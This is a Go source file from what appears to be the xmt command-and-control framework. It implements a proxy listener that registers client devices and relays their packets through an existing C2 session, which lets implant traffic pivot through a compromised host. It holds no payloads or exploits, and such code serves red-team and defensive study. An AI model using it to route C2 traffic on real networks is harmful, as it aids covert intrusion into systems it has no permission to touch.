github.com/iDigitalFlame/xmt@v0.5.4/c2/proxy.go (about) 1 //go:build !noproxy 2 // +build !noproxy 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package c2 21 22 import ( 23 "context" 24 "io" 25 "net" 26 "sync" 27 "time" 28 29 "github.com/iDigitalFlame/xmt/c2/cfg" 30 "github.com/iDigitalFlame/xmt/c2/cout" 31 "github.com/iDigitalFlame/xmt/com" 32 "github.com/iDigitalFlame/xmt/data" 33 "github.com/iDigitalFlame/xmt/device" 34 "github.com/iDigitalFlame/xmt/util" 35 "github.com/iDigitalFlame/xmt/util/bugtrack" 36 "github.com/iDigitalFlame/xmt/util/xerr" 37 ) 38 39 var ( 40 _ connServer = (*Proxy)(nil) 41 _ connHost = (*proxyClient)(nil) 42 ) 43 44 // Proxy is a struct that controls a Proxied connection between a client and a 45 // server and allows for packets to be routed through a current established 46 // Session. 47 type Proxy struct { 48 connection 49 listener net.Listener 50 ch chan struct{} 51 close chan uint32 52 parent *Session 53 cancel context.CancelFunc 54 clients map[uint32]*proxyClient 55 name, addr string 56 lock sync.RWMutex 57 state state 58 } 59 type proxyClient struct { 60 _ [0]func() 61 send, chn chan *com.Packet 62 wake chan struct{} 63 peek *com.Packet 64 ID device.ID 65 state state 66 } 67 68 // Wait will block until the current Proxy is closed and shutdown. 69 func (p *Proxy) Wait() { 70 <-p.ch 71 } 72 func (p *Proxy) prune() { 73 for { 74 select { 75 case <-p.ch: 76 return 77 case <-p.ctx.Done(): 78 return 79 case i := <-p.close: 80 p.lock.RLock() 81 if _, ok := p.clients[i]; ok { 82 if delete(p.clients, i); cout.Enabled { 83 p.log.Debug("[%s] Removed closed Session 0x%X.", p.prefix(), i) 84 } 85 } 86 p.lock.RUnlock() 87 } 88 } 89 } 90 func (p *Proxy) listen() { 91 if cout.Enabled { 92 p.log.Info(`[%s] Starting listen on "%s"..`, p.prefix(), p.listener) 93 } 94 go p.prune() 95 for { 96 select { 97 case <-p.ctx.Done(): 98 p.state.Set(stateClosing) 99 default: 100 } 101 if p.state.Closing() { 102 break 103 } 104 if p.listener == nil && p.state.Replacing() { 105 time.Sleep(time.Millisecond * 30) // Prevent CPU buring loops. 106 continue 107 } 108 c, err := p.listener.Accept() 109 if err != nil { 110 if p.state.Replacing() { 111 continue 112 } 113 if p.state.Closing() { 114 break 115 } 116 if isClosedError(err) { 117 continue 118 } 119 e, ok := err.(net.Error) 120 if ok && e.Timeout() { 121 continue 122 } 123 if cout.Enabled { 124 p.parent.log.Error("[%s] Error during Listener accept: %s!", p.prefix(), err.Error()) 125 } 126 if ok && !e.Timeout() { 127 break 128 } 129 continue 130 } 131 if c == nil { 132 continue 133 } 134 if cout.Enabled { 135 p.log.Trace(`[%s] Received a connection from "%s"..`, p.prefix(), c.RemoteAddr()) 136 } 137 go handle(p.log, c, p, c.RemoteAddr().String()) 138 } 139 if cout.Enabled { 140 p.parent.log.Debug("[%s] Stopping Proxy listener..", p.prefix()) 141 } 142 for _, v := range p.clients { 143 v.Close() 144 } 145 if p.cancel(); !p.state.WakeClosed() { 146 p.state.Set(stateWakeClose) 147 close(p.close) 148 } 149 p.listener.Close() 150 p.state.Set(stateClosed) 151 p.parent = nil 152 close(p.ch) 153 } 154 func (p *Proxy) clientLock() { 155 p.lock.RLock() 156 } 157 158 // Close stops the operation of the Proxy and any Sessions that may be connected. 159 // 160 // Resources used with this Proxy will be freed up for reuse. 161 func (p *Proxy) Close() error { 162 if p.state.Closed() { 163 return nil 164 } 165 p.state.Set(stateClosing) 166 err := p.listener.Close() 167 p.cancel() 168 <-p.ch 169 return err 170 } 171 func (c *proxyClient) Close() { 172 if !c.state.SendClosed() { 173 c.state.Set(stateSendClose) 174 close(c.send) 175 } 176 if !c.state.WakeClosed() { 177 c.state.Set(stateWakeClose) 178 close(c.wake) 179 } 180 c.state.Set(stateClosed) 181 c.state.Unset(stateChannelValue) 182 c.state.Unset(stateChannelUpdated) 183 c.state.Unset(stateChannel) 184 c.peek = nil 185 } 186 func (p *Proxy) clientUnlock() { 187 p.lock.RUnlock() 188 } 189 func (p *Proxy) subsRegister() { 190 p.lock.RLock() 191 for _, v := range p.clients { 192 v.queue(&com.Packet{ID: SvRegister, Job: uint16(util.FastRand()), Device: v.ID}) 193 } 194 p.lock.RUnlock() 195 } 196 197 // IsActive returns true if the Proxy is still able to send and receive Packets. 198 func (p *Proxy) IsActive() bool { 199 return !p.state.Closing() 200 } 201 func (p *Proxy) tags() []uint32 { 202 if len(p.clients) == 0 { 203 return nil 204 } 205 t := make([]uint32, 0, len(p.clients)) 206 p.lock.RLock() 207 for i := range p.clients { 208 if !p.clients[i].state.Tag() { 209 continue 210 } 211 t = append(t, i) 212 } 213 p.lock.RUnlock() 214 return t 215 } 216 func (c *proxyClient) chanWake() { 217 if c.state.WakeClosed() || len(c.wake) >= cap(c.wake) { 218 return 219 } 220 select { 221 case c.wake <- wake: 222 default: 223 } 224 } 225 226 // Address returns the string representation of the address the Listener is 227 // bound to. 228 func (p *Proxy) Address() string { 229 return p.listener.Addr().String() 230 } 231 func (c *proxyClient) name() string { 232 return c.ID.String() 233 } 234 func (proxyClient) accept(_ uint16) {} 235 func (proxyClient) keyCheckRevert() {} 236 func (p *Proxy) wrapper() cfg.Wrapper { 237 return p.w 238 } 239 func (c *proxyClient) chanWakeClear() { 240 if c.state.WakeClosed() { 241 return 242 } 243 for len(c.wake) > 0 { 244 <-c.wake // Drain waker 245 } 246 } 247 func (p *Proxy) clientClear(i uint32) { 248 v, ok := p.clients[i] 249 if !ok { 250 return 251 } 252 v.chn = nil 253 v.state.Unset(stateChannelProxy) 254 } 255 func (c *proxyClient) chanStop() bool { 256 return c.state.ChannelCanStop() 257 } 258 func (c *proxyClient) chanStart() bool { 259 return c.state.ChannelCanStart() 260 } 261 func (c *proxyClient) update(_ string) { 262 c.state.Set(stateSeen) 263 } 264 265 // Done returns a channel that's closed when this Proxy is closed. 266 // 267 // This can be used to monitor a Proxy's status using a select statement. 268 func (p *Proxy) Done() <-chan struct{} { 269 return p.ch 270 } 271 func (proxyClient) keyCheckSync() error { 272 return nil 273 } 274 func (p *Proxy) keyValue() data.KeyPair { 275 return p.parent.keys 276 } 277 func (c *proxyClient) chanRunning() bool { 278 return c.state.Channel() 279 } 280 func (c *proxyClient) stateSet(v uint32) { 281 c.state.Set(v) 282 } 283 func (p *Proxy) transform() cfg.Transform { 284 return p.t 285 } 286 func (proxyClient) keyValue() data.KeyPair { 287 // BUG(dij): Is this a leak? 288 // I don't think so, but let's keep track of it. 289 return data.KeyPair{} 290 } 291 func (c *proxyClient) stateUnset(v uint32) { 292 c.state.Unset(v) 293 } 294 func (p *Proxy) accept(n *com.Packet) bool { 295 if len(p.clients) == 0 { 296 return false 297 } 298 p.lock.RLock() 299 c, ok := p.clients[n.Device.Hash()] 300 if p.lock.RUnlock(); !ok { 301 return false 302 } 303 if isPacketNoP(n) { 304 return true 305 } 306 c.queue(n) 307 c.state.Set(stateReady) 308 return true 309 } 310 func (c *proxyClient) queue(n *com.Packet) { 311 if c.state.SendClosed() { 312 return 313 } 314 if bugtrack.Enabled { 315 if n.Device.Empty() { 316 bugtrack.Track("c2.(*proxyClient).queue(): Calling queue with empty Device, n.ID=%d!", n.ID) 317 } 318 } 319 if c.chn != nil { 320 select { 321 case c.chn <- n: 322 default: 323 } 324 return 325 } 326 select { 327 case c.send <- n: 328 default: 329 } 330 } 331 func (c *proxyClient) clientID() device.ID { 332 return c.ID 333 } 334 func (proxyClient) frag(_, _, _, _ uint16) {} 335 func (proxyClient) deadlineRead() time.Time { 336 return empty 337 } 338 func (proxyClient) deadlineWrite() time.Time { 339 return empty 340 } 341 func (c *proxyClient) pick(i bool) *com.Packet { 342 if c.peek != nil { 343 n := c.peek 344 c.peek = nil 345 return n 346 } 347 if len(c.send) > 0 { 348 return <-c.send 349 } 350 if i { 351 return nil 352 } 353 if !c.state.Channel() { 354 return &com.Packet{Device: c.ID} 355 } 356 select { 357 case <-c.wake: 358 return nil 359 case n := <-c.send: 360 return n 361 } 362 } 363 func (c *proxyClient) next(i bool) *com.Packet { 364 n := c.pick(i) 365 if n == nil { 366 c.state.Unset(stateReady) 367 return nil 368 } 369 if len(c.send) == 0 && verifyPacket(n, c.ID) { 370 if isPacketNoP(n) { 371 c.state.Set(stateReady) 372 } else { 373 c.state.Unset(stateReady) 374 } 375 return n 376 } 377 if n, c.peek = nextPacket(c, c.send, n, c.ID, n.Tags); isPacketNoP(n) { 378 c.state.Set(stateReady) 379 } else { 380 c.state.Unset(stateReady) 381 } 382 return n 383 } 384 func (c *proxyClient) sender() chan *com.Packet { 385 return c.send 386 } 387 func (p *Proxy) clientGet(i uint32) (connHost, bool) { 388 v, ok := p.clients[i] 389 return v, ok 390 } 391 func (p proxyData) MarshalStream(w data.Writer) error { 392 if err := w.WriteString(p.n); err != nil { 393 return err 394 } 395 return w.WriteString(p.b) 396 } 397 func (p *Proxy) clientSet(i uint32, c chan *com.Packet) { 398 v, ok := p.clients[i] 399 if !ok { 400 return 401 } 402 if v.chn != nil { 403 return 404 } 405 v.state.Set(stateChannelProxy) 406 for v.chn = c; len(v.send) > 0; { 407 select { 408 case c <- <-v.send: 409 default: 410 } 411 } 412 } 413 func (p *Proxy) notify(_ connHost, n *com.Packet) error { 414 if isPacketNoP(n) { 415 return nil 416 } 417 p.parent.write(true, n) 418 return nil 419 } 420 421 // Replace allows for rebinding this Proxy to another address or using another 422 // Profile without closing the Proxy. 423 // 424 // The listening socket will be closed and the Proxy will be paused and 425 // cannot accept any more connections before being reopened. 426 // 427 // If the replacement fails, the Proxy will be closed. 428 func (p *Proxy) Replace(addr string, n cfg.Profile) error { 429 if n == nil { 430 n = p.p 431 } 432 h, w, t := n.Next() 433 if len(addr) > 0 { 434 h = addr 435 } 436 if len(h) == 0 { 437 return ErrNoHost 438 } 439 p.state.Set(stateReplacing) 440 p.listener.Close() 441 p.listener = nil 442 v, err := n.Listen(p.ctx, h) 443 if err != nil { 444 p.Close() 445 return xerr.Wrap("unable to listen", err) 446 } else if v == nil { 447 p.Close() 448 return xerr.Sub("unable to listen", 0x49) 449 } 450 p.listener, p.w, p.t, p.p, p.addr = v, w, t, n, h 451 if p.state.Unset(stateReplacing); cout.Enabled { 452 p.log.Info(`[%s] Replaced Proxy listener socket, now bound to "%s"!`, p.prefix(), h) 453 } 454 return nil 455 } 456 func (p *Proxy) talk(a string, n *com.Packet) (*conn, bool, error) { 457 if n.Device.Empty() || p.parent.state.Closing() { 458 return nil, false, io.ErrShortBuffer 459 } 460 if n.Flags |= com.FlagProxy; cout.Enabled { 461 p.log.Trace(`[%s:%s] %s: Received a Packet "%s"..`, p.prefix(), n.Device, a, n) 462 } 463 p.lock.RLock() 464 var ( 465 i = n.Device.Hash() 466 c, ok = p.clients[i] 467 ) 468 if p.lock.RUnlock(); !ok { 469 if n.ID != SvHello { 470 if cout.Enabled { 471 p.log.Warning("[%s:%s] %s: Received a non-hello Packet from a unregistered client!", p.prefix(), n.Device, a) 472 } 473 var f com.Flag 474 if n.Flags&com.FlagFrag != 0 { 475 f.SetPosition(0) 476 f.SetLen(n.Flags.Len()) 477 f.SetGroup(n.Flags.Group()) 478 } 479 return &conn{next: &com.Packet{ID: SvRegister, Flags: f, Device: n.Device}}, false, nil 480 } 481 c = &proxyClient{ 482 ID: n.Device, 483 send: make(chan *com.Packet, cap(p.parent.send)), 484 wake: make(chan struct{}, 1), 485 state: state(stateReady), 486 } 487 p.lock.Lock() 488 p.clients[i] = c 489 if p.lock.Unlock(); cout.Enabled { 490 p.log.Info(`[%s:%s] %s: New client registered as "%s" hash 0x%X.`, p.prefix(), c.ID, a, c.ID, i) 491 } 492 p.parent.write(true, n) 493 c.queue(keyHostSync(p, n)) 494 } 495 if c.state.Set(stateSeen); n.ID == SvShutdown { 496 select { 497 case p.close <- i: 498 default: 499 } 500 p.parent.write(true, n) 501 return &conn{next: &com.Packet{ID: SvShutdown, Device: n.Device, Job: n.Job}}, false, nil 502 } 503 v, err := p.resolve(c, a, n.Tags) 504 if err != nil { 505 return nil, false, err 506 } 507 if err = v.process(p.log, p, a, n, false); err != nil { 508 return nil, false, err 509 } 510 return v, ok, nil 511 } 512 func readProxyData(f bool, r data.Reader) ([]proxyData, error) { 513 n, err := r.Uint8() 514 if err != nil { 515 return nil, err 516 } 517 o := make([]proxyData, n) 518 for i := range o { 519 if err = r.ReadString(&o[i].n); err != nil { 520 return nil, err 521 } 522 if err = r.ReadString(&o[i].b); err != nil { 523 return nil, err 524 } 525 if !f { 526 continue 527 } 528 if err = r.ReadBytes(&o[i].p); err != nil { 529 return nil, err 530 } 531 } 532 return o, nil 533 } 534 func (p *Proxy) resolve(s *proxyClient, a string, t []uint32) (*conn, error) { 535 if len(t) == 0 { 536 return &conn{host: s}, nil 537 } 538 c := &conn{ 539 add: make([]*com.Packet, 0, len(t)), 540 subs: make(map[uint32]bool, len(t)), 541 host: s, 542 } 543 return c, c.resolve(p.log, s, p, a, t, false) 544 } 545 func (p *Proxy) talkSub(a string, n *com.Packet, o bool) (connHost, uint32, *com.Packet, error) { 546 if n.Device.Empty() || p.state.Closing() { 547 return nil, 0, nil, io.ErrShortBuffer 548 } 549 if cout.Enabled { 550 p.log.Trace(`[%s:%s/M] %s: Received a Packet "%s"..`, p.prefix(), n.Device, a, n) 551 } 552 p.lock.RLock() 553 var ( 554 i = n.Device.Hash() 555 c, ok = p.clients[i] 556 ) 557 if p.lock.RUnlock(); !ok { 558 if n.ID != SvHello { 559 if cout.Enabled { 560 p.log.Warning("[%s:%s/M] %s: Received a non-hello Packet from a unregistered client!", p.prefix(), n.Device, a) 561 } 562 var f com.Flag 563 if n.Flags&com.FlagFrag != 0 { 564 f.SetPosition(0) 565 f.SetLen(n.Flags.Len()) 566 f.SetGroup(n.Flags.Group()) 567 } 568 return nil, 0, &com.Packet{ID: SvRegister, Flags: f, Device: n.Device}, nil 569 } 570 c = &proxyClient{ 571 ID: n.Device, 572 send: make(chan *com.Packet, cap(p.parent.send)), 573 wake: make(chan struct{}, 1), 574 state: state(stateReady), 575 } 576 p.lock.Lock() 577 p.clients[i] = c 578 if p.lock.Unlock(); cout.Enabled { 579 p.log.Info(`[%s:%s/M] %s: New client registered as "%s" hash 0x%X.`, p.prefix(), c.ID, a, c.ID, i) 580 } 581 c.queue(keyHostSync(p, n)) 582 } 583 switch c.state.Set(stateSeen); { 584 case isPacketNoP(n): 585 p.parent.write(true, n) 586 c.state.Set(stateReady) 587 case n.ID == SvShutdown: 588 select { 589 case p.close <- i: 590 default: 591 } 592 p.parent.write(true, n) 593 return nil, 0, &com.Packet{ID: SvShutdown, Device: n.Device, Job: n.Job}, nil 594 } 595 if o { 596 return c, i, nil, nil 597 } 598 return c, i, c.next(true), nil 599 }